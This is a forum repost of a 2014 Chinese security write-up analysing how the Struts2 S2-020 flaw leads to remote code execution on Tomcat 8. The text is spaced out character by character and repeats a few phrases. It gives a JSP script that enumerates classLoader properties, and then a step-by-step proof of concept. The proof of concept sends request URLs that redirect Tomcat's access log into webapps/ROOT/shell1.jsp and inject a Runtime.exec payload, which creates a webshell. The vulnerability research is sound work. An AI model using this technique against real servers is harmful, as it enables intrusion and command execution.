搜索

[7933] 2014-04-06_Struts2S2-020在Tomcat8下的命令执行分析

文档创建者：s7ckTeam
浏览次数：42
最后更新：2025-01-17
2014-04-06_Struts2S2-020在Tomcat8下的命令执行分析 S t r u t s 2   S 2 - 0 2 0 在 T o m c a t   8 下 的 命 令 执 行 分 析 F r e e B u f   2 0 1 4 - 0 4 - 0 6 作 者   y i r a n 4 8 2 7 S t r u t s   S 2 - 0 2 0 这 个 通 告 已 经 公 布 有 一 段 时 间 了 。 目 前 大 家 都 知 道 这 个 漏 洞 可 以 造 成 这 个 通 告 已 经 公 布 有 一 段 时 间 了 。 目 前 大 家 都 知 道 这 个 漏 洞 可 以 造 成 D O S 、 文 件 下 载 等 危 害 ， 相 信 各 大 、 文 件 下 载 等 危 害 ， 相 信 各 大 厂 商 也 已 经 采 取 了 相 应 的 安 全 措 施 。 厂 商 也 已 经 采 取 了 相 应 的 安 全 措 施 。 今 天 是 和 大 家 分 享 一 下 对 这 个 漏 洞 的 一 点 研 究 ， 包 括 如 何 在 T o m c a t   8 下 导 致 R C E ， 目 的 是 抛 砖 引 玉 ， 有 不 足 之 处 欢 迎 大 家 指 出 。 1 . 属 性 列 举 这 个 漏 洞 分 析 的 一 个 难 点 在 于 ： 通 过 o g n l 的 c l a s s . x x 这 种 方 式 来 遍 历 属 性 时 ， 得 到 的 是 实 际 运 行 环 境 中 的 动 态 c l a s s ， 因 此 仅 作 静 态 分 析 是 很 困 难 的 。 例 如 c l a s s L o a d e r ， 在 不 同 容 器 中 就 各 不 相 同 。 于 是 我 编 写 了 一 个 小 脚 本 来 自 动 枚 举 这 样 的 属 性 ： （ 这 段 脚 本 只 考 虑 了 i n t 、 s t r i n g 与 b o o l e a n 这 些 基 本 属 性 ， 未 考 虑 数 组 等 复 杂 的 情 况 ， 实 际 情 况 下 结 果 会 更 多 ） < % @   p a g e   l a n g u a g e = " j a v a "   i m p o r t = " j a v a . l a n g . r e f l e c t . * "   % > < % ! p u b l i c   v o i d   p r o c e s s C l a s s ( O b j e c t   i n s t a n c e ,   j a v a x . s e r v l e t . j s p . J s p W r i t e r   o u t ,   j a v a . u t i l . H a s h S e t   s e t ,   S t r i n g   p o c ) {   t r y   {           C l a s s < ? >   c   =   i n s t a n c e . g e t C l a s s ( ) ;           s e t . a d d ( i n s t a n c e ) ;           M e t h o d [ ]   a l l M e t h o d s   =   c . g e t M e t h o d s ( ) ;           f o r   ( M e t h o d   m   :   a l l M e t h o d s )   {     i f   ( ! m . g e t N a m e ( ) . s t a r t s W i t h ( " s e t " ) )   {             c o n t i n u e ;     }     i f   ( ! m . t o G e n e r i c S t r i n g ( ) . s t a r t s W i t h ( " p u b l i c " ) )   {             c o n t i n u e ;     }     C l a s s < ? > [ ]   p T y p e     =   m . g e t P a r a m e t e r T y p e s ( ) ;     i f ( p T y p e . l e n g t h ! = 1 )   c o n t i n u e ;         i f ( p T y p e [ 0 ] . g e t N a m e ( ) . e q u a l s ( " j a v a . l a n g . S t r i n g " ) | |     p T y p e [ 0 ] . g e t N a m e ( ) . e q u a l s ( " b o o l e a n " ) | |     p T y p e [ 0 ] . g e t N a m e ( ) . e q u a l s ( " i n t " ) ) {       S t r i n g   f i e l d N a m e   =   m . g e t N a m e ( ) . s u b s t r i n g ( 3 , 4 ) . t o L o w e r C a s e ( ) + m . g e t N a m e ( ) . s u b s t r i n g ( 4 ) ;       o u t . p r i n t ( p o c + " . " + f i e l d N a m e   +   " < b r > " ) ;     }           }           f o r   ( M e t h o d   m   :   a l l M e t h o d s )   {     i f   ( ! m . g e t N a m e ( ) . s t a r t s W i t h ( " g e t " ) )   {             c o n t i n u e ;     }     i f   ( ! m . t o G e n e r i c S t r i n g ( ) . s t a r t s W i t h ( " p u b l i c " ) )   {             c o n t i n u e ;     }         C l a s s < ? > [ ]   p T y p e     =   m . g e t P a r a m e t e r T y p e s ( ) ;     i f ( p T y p e . l e n g t h ! = 0 )   c o n t i n u e ;     i f ( m . g e t R e t u r n T y p e ( )   = =   V o i d . T Y P E )   c o n t i n u e ;     O b j e c t   o   =   m . i n v o k e ( i n s t a n c e ) ;
    i f ( o ! = n u l l )     {       i f ( s e t . c o n t a i n s ( o ) )   c o n t i n u e ;       p r o c e s s C l a s s ( o , o u t ,   s e t ,   p o c + " . " + m . g e t N a m e ( ) . s u b s t r i n g ( 3 , 4 ) . t o L o w e r C a s e ( ) + m . g e t N a m e ( ) . s u b s t r i n g ( 4 ) ) ;       }             }   }   c a t c h   ( j a v a . i o . I O E x c e p t i o n   x )   {           x . p r i n t S t a c k T r a c e ( ) ;   }   c a t c h   ( j a v a . l a n g . I l l e g a l A c c e s s E x c e p t i o n   x )   {           x . p r i n t S t a c k T r a c e ( ) ;   }   c a t c h   ( j a v a . l a n g . r e f l e c t . I n v o c a t i o n T a r g e t E x c e p t i o n   x )   {           x . p r i n t S t a c k T r a c e ( ) ;   }     } % > < % j a v a . u t i l . H a s h S e t   s e t   =   n e w   j a v a . u t i l . H a s h S e t < O b j e c t > ( ) ; S t r i n g   p o c   =   " c l a s s . c l a s s L o a d e r " ; e x a m p l e . H e l l o W o r l d   a c t i o n   =   n e w   e x a m p l e . H e l l o W o r l d ( ) ; p r o c e s s C l a s s ( a c t i o n . g e t C l a s s ( ) . g e t C l a s s L o a d e r ( ) , o u t , s e t , p o c ) ; % > 在 t o m c a t   8 . 0 . 3 下 S t r u t s 2 . 3 . 1 6 的 b l a n k   a p p 中 执 行 这 段 j s p ， 输 出 结 果 如 下 ： （ 省 略 部 分 非 相 关 属 性 ） c l a s s . c l a s s L o a d e r . r e s o u r c e s . c o n t e x t . p a r e n t . p i p e l i n e . f i r s t . e n c o d i n g c l a s s . c l a s s L o a d e r . r e s o u r c e s . c o n t e x t . p a r e n t . p i p e l i n e . f i r s t . d i r e c t o r y c l a s s . c l a s s L o a d e r . r e s o u r c e s . c o n t e x t . p a r e n t . p i p e l i n e . f i r s t . c h e c k E x i s t s c l a s s . c l a s s L o a d e r . r e s o u r c e s . c o n t e x t . p a r e n t . p i p e l i n e . f i r s t . r e n a m e O n R o t a t e c l a s s . c l a s s L o a d e r . r e s o u r c e s . c o n t e x t . p a r e n t . p i p e l i n e . f i r s t . f i l e D a t e F o r m a t c l a s s . c l a s s L o a d e r . r e s o u r c e s . c o n t e x t . p a r e n t . p i p e l i n e . f i r s t . p r e f i x c l a s s . c l a s s L o a d e r . r e s o u r c e s . c o n t e x t . p a r e n t . p i p e l i n e . f i r s t . r o t a t a b l e c l a s s . c l a s s L o a d e r . r e s o u r c e s . c o n t e x t . p a r e n t . p i p e l i n e . f i r s t . b u f f e r e d c l a s s . c l a s s L o a d e r . r e s o u r c e s . c o n t e x t . p a r e n t . p i p e l i n e . f i r s t . s u f f i x c l a s s . c l a s s L o a d e r . r e s o u r c e s . c o n t e x t . p a r e n t . p i p e l i n e . f i r s t . l o c a l e c l a s s . c l a s s L o a d e r . r e s o u r c e s . c o n t e x t . p a r e n t . p i p e l i n e . f i r s t . r e q u e s t A t t r i b u t e s E n a b l e d c l a s s . c l a s s L o a d e r . r e s o u r c e s . c o n t e x t . p a r e n t . p i p e l i n e . f i r s t . e n a b l e d c l a s s . c l a s s L o a d e r . r e s o u r c e s . c o n t e x t . p a r e n t . p i p e l i n e . f i r s t . c o n d i t i o n U n l e s s c l a s s . c l a s s L o a d e r . r e s o u r c e s . c o n t e x t . p a r e n t . p i p e l i n e . f i r s t . c o n d i t i o n I f c l a s s . c l a s s L o a d e r . r e s o u r c e s . c o n t e x t . p a r e n t . p i p e l i n e . f i r s t . p a t t e r n c l a s s . c l a s s L o a d e r . r e s o u r c e s . c o n t e x t . p a r e n t . p i p e l i n e . f i r s t . c o n d i t i o n c l a s s . c l a s s L o a d e r . r e s o u r c e s . c o n t e x t . p a r e n t . p i p e l i n e . f i r s t . a s y n c S u p p o r t e d c l a s s . c l a s s L o a d e r . r e s o u r c e s . c o n t e x t . p a r e n t . p i p e l i n e . f i r s t . d o m a i n c l a s s . c l a s s L o a d e r . r e s o u r c e s . c o n t e x t . p a r e n t . p i p e l i n e . f i r s t . n e x t . a s y n c S u p p o r t e d c l a s s . c l a s s L o a d e r . r e s o u r c e s . c o n t e x t . p a r e n t . p i p e l i n e . f i r s t . n e x t . d o m a i n c l a s s . c l a s s L o a d e r . r e s o u r c e s . c o n t e x t . p a r e n t . p i p e l i n e . f i r s t . n e x t . n e x t . a s y n c S u p p o r t e d c l a s s . c l a s s L o a d e r . r e s o u r c e s . c o n t e x t . p a r e n t . p i p e l i n e . f i r s t . n e x t . n e x t . d o m a i n . . . . . . 这 意 味 着 T o m c a t   8 下 至 少 有 2 0 0 多 个 b o o l e a n 、 i n t 或 s t r i n g 类 型 的 属 性 是 可 以 操 纵 的 ， 虽 然 可 修 改 不 一 定 会 产 生 危 害 ， 但 至 少 说 明 这 个 漏 洞 的 潜 在 风 险 不 小 。 2 . P O C
经 过 分 析 发 现 ， 通 过 下 面 的 方 法 可 以 造 成 w e b s h e l l 的 效 果 ， 最 终 导 致 T o m c a t 下 的 R C E 。 上 面 的 属 性 中 ， 有 几 个 控 制 在 t o m c a t 上 生 成 的 a c c e s s   l o g 的 文 件 名 ， 其 默 认 值 如 下 ： c l a s s . c l a s s L o a d e r . r e s o u r c e s . c o n t e x t . p a r e n t . p i p e l i n e . f i r s t . d i r e c t o r y   = l o g s c l a s s . c l a s s L o a d e r . r e s o u r c e s . c o n t e x t . p a r e n t . p i p e l i n e . f i r s t . p r e f i x   = l o c a l h o s t _ a c c e s s _ l o g c l a s s . c l a s s L o a d e r . r e s o u r c e s . c o n t e x t . p a r e n t . p i p e l i n e . f i r s t . s u f f i x   =   . t x t c l a s s . c l a s s L o a d e r . r e s o u r c e s . c o n t e x t . p a r e n t . p i p e l i n e . f i r s t . f i l e D a t e F o r m a t   = . y y y y - m m - d d 默 认 情 况 下 ， 生 成 的 a c c e s s   l o g 位 于   l o g s 目 录 （ 与 w e b a p p s 平 行 ） 下 ， 文 件 名 是 l o c a l h o s t _ a c c e s s _ l o g . 2 0 1 4 - 0 3 - 0 9 . t x t ， 但 通 过 修 改 上 面 的 属 性 值 ， 可 以 导 致 在 w e b a p p s 目 录 下 写 入 j s p w e b s h e l l 。 具 体 步 骤 如 下 （ 以 s t r u t s   2 . 3 . 1 6 下 的 b l a n k   a p p 为 例 ） ： 1 . 访 问 下 面 的 u r l 来 改 变 属 性 ： h t t p : / / 1 2 7 . 0 . 0 . 1 / s t r u t s 2 - b l a n k / e x a m p l e / H e l l o W o r l d . a c t i o n ? c l a s s . c l a s s L o a d e r . r e s o u r c e s . c o n t e x t . p a r e n t . p i p e l i n e . f i r s t . d i r e c t o r y = w e b a p p s / R O O T h t t p : / / 1 2 7 . 0 . 0 . 1 / s t r u t s 2 - b l a n k / e x a m p l e / H e l l o W o r l d . a c t i o n ? c l a s s . c l a s s L o a d e r . r e s o u r c e s . c o n t e x t . p a r e n t . p i p e l i n e . f i r s t . p r e f i x = s h e l l h t t p : / / 1 2 7 . 0 . 0 . 1 / s t r u t s 2 - b l a n k / e x a m p l e / H e l l o W o r l d . a c t i o n ? c l a s s . c l a s s L o a d e r . r e s o u r c e s . c o n t e x t . p a r e n t . p i p e l i n e . f i r s t . s u f f i x = . j s p 2 . 访 问 下 面 的 u r l 来 触 发 t o m c a t 切 换 l o g （ 这 里 有 个 坑 ， 这 个 属 性 必 须 是 数 字 , 这 里 设 定 为 1 ） ， 那 么 从 此 开 始 t o m c a t 的 a c c e s s   l o g 将 被 记 录 入   w e b a p p s / R O O T / s h e l l 1 . j s p 中 ： h t t p : / / 1 2 7 . 0 . 0 . 1 / s t r u t s 2 - b l a n k / e x a m p l e / H e l l o W o r l d . a c t i o n ? c l a s s . c l a s s L o a d e r . r e s o u r c e s . c o n t e x t . p a r e n t . p i p e l i n e . f i r s t . f i l e D a t e F o r m a t = 1 3 . 通 过 发 包 访 问 下 面 的 请 求 ， 在 a c c e s s   l o g 中 植 入 代 码 h t t p : / / 1 2 7 . 0 . 0 . 1 / s t r u t s 2 - b l a n k / e x a m p l e / a a a a . j s p ? a = < % R u n t i m e . g e t R u n t i m e ( ) . e x e c ( " c a l c " ) ; % > 访 问 上 述 请 求 后 ， 就 可 以 看 到 生 成 了 w e b a p p s / R O O T / s h e l l 1 . j s p ， 内 容 如 下 ： 4 . 结 合 前 面 设 定 的 参 数 ， 访 问 下 面 的 u r l ， 观 察 s h e l l 执 行 h t t p : / / 1 2 7 . 0 . 0 . 1 / s h e l l 1 . j s p
通 过 分 析 ， 上 面 的 P O C 中 c l a s s . c l a s s L o a d e r . r e s o u r c e s . c o n t e x t . p a r e n t . p i p e l i n e . f i r s t 这 个 属 性 实 际 是 o r g . a p a c h e . c a t a l i n a . v a l v e s . A c c e s s L o g V a l v e ， 在 c o n f / s e r v e r . x m l 里 面 有 一 段 相 关 的 配 置 ： < ! - -   A c c e s s   l o g   p r o c e s s e s   a l l e x a m p l e .         D o c u m e n t a t i o n   a t : / d o c s / c o n f i g / v a l v e . h t m l         N o t e :   T h e   p a t t e r n   u s e d   i s e q u i v a l e n t   t o   u s i n g   p a t t e r n = " c o m m o n "   - - > < V a l v e c l a s s N a m e = " o r g . a p a c h e . c a t a l i n a . v a l v e s . A c c e s s L o g V a l v e " d i r e c t o r y = " l o g s " p r e f i x = " l o c a l h o s t _ a c c e s s _ l o g "   s u f f i x = " . t x t " p a t t e r n = " % h   % l   % u   % t & q u o t ; % r & q u o t ;   % s   % b "   / > 为 何 修 改 了 d a t a f o r m a t 会 触 发 切 换 日 志 呢 ？ 注 意 下 面 一 个 属 性 ， 默 认 是 t r u e   . c l a s s . c l a s s L o a d e r . r e s o u r c e s . c o n t e x t . p a r e n t . p i p e l i n e . f i r s t . r o t a t a b l e 每 次 L o g 时 ， 都 会 调 用 r o t a t e : p u b l i c v o i d   l o g ( C h a r A r r a y W r i t e r   m e s s a g e )     { r o t a t e ( ) ; … 而 r o t a t e 是 检 查 当 前 的 s y s t i m e   经 过 f o r m a t 后 ， 与 当 前 的 t s D a t e 是 否 相 同 。 如 果 日 期 不 同 了 ， 自 然 需 要 切 换 日 志 文 件 了 ： p u b l i c   v o i d   r o t a t e ( ) {         i f   ( t h i s . r o t a t a b l e ) {                 l o n g   s y s t i m e   = S y s t e m . c u r r e n t T i m e M i l l i s ( ) ;                 i f   ( s y s t i m e   -   t h i s . r o t a t i o n L a s t C h e c k e d >   1 0 0 0 L )                         s y n c h r o n i z e d   ( t h i s ) {                                 i f   ( s y s t i m e   - t h i s . r o t a t i o n L a s t C h e c k e d   >   1 0 0 0 L ) {                                         t h i s . r o t a t i o n L a s t C h e c k e d   =   s y s t i m e ;                                   S t r i n g   t s D a t e   = t h i s . f i l e D a t e F o r m a t t e r . f o r m a t ( n e w   D a t e ( s y s t i m e ) ) ;                                   i f   ( ! t h i s . d a t e S t a m p . e q u a l s ( t s D a t e ) ) {                                         c l o s e ( t r u e ) ;                                         t h i s . d a t e S t a m p   =   t s D a t e ;                                         o p e n ( ) ;                                 }                         }                 }         }
} 而 我 们 之 前 已 经 修 改 了 d a t e F o r m a t ， 所 以 就 触 发 了 日 志 切 换 。 这 个 特 性 与 具 体 的 O S 无 关 ， 是 t o m c a t 代 码 决 定 的 。 在 l i n u x 与 w i n d o w s 下 证 实 该 问 题 均 存 在 。 3 . 后 记 后 记 这 个 P O C 距 离 实 际 的 攻 击 还 有 一 定 的 距 离 ， 发 表 此 文 仅 供 技 术 研 究 使 用 ， 请 勿 用 于 实 际 攻 击 。 另 外 ， 也 许 还 有 其 他 的 利 用 方 式 ， T o m c a t   8 下 那 么 多 的 可 操 控 的 属 性 ， 或 许 有 别 的 也 可 以 R C E ？ 其 他 的 容 器 下 ， 是 否 也 有 这 么 多 的 可 操 控 属 性 呢 ？ 欢 迎 感 兴 趣 的 同 学 与 我 们 B S R C 的 同 学 讨 论 。 [ v i a   s e c . b a i d u . c o m   作 者 ： n e o b y t e ] 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理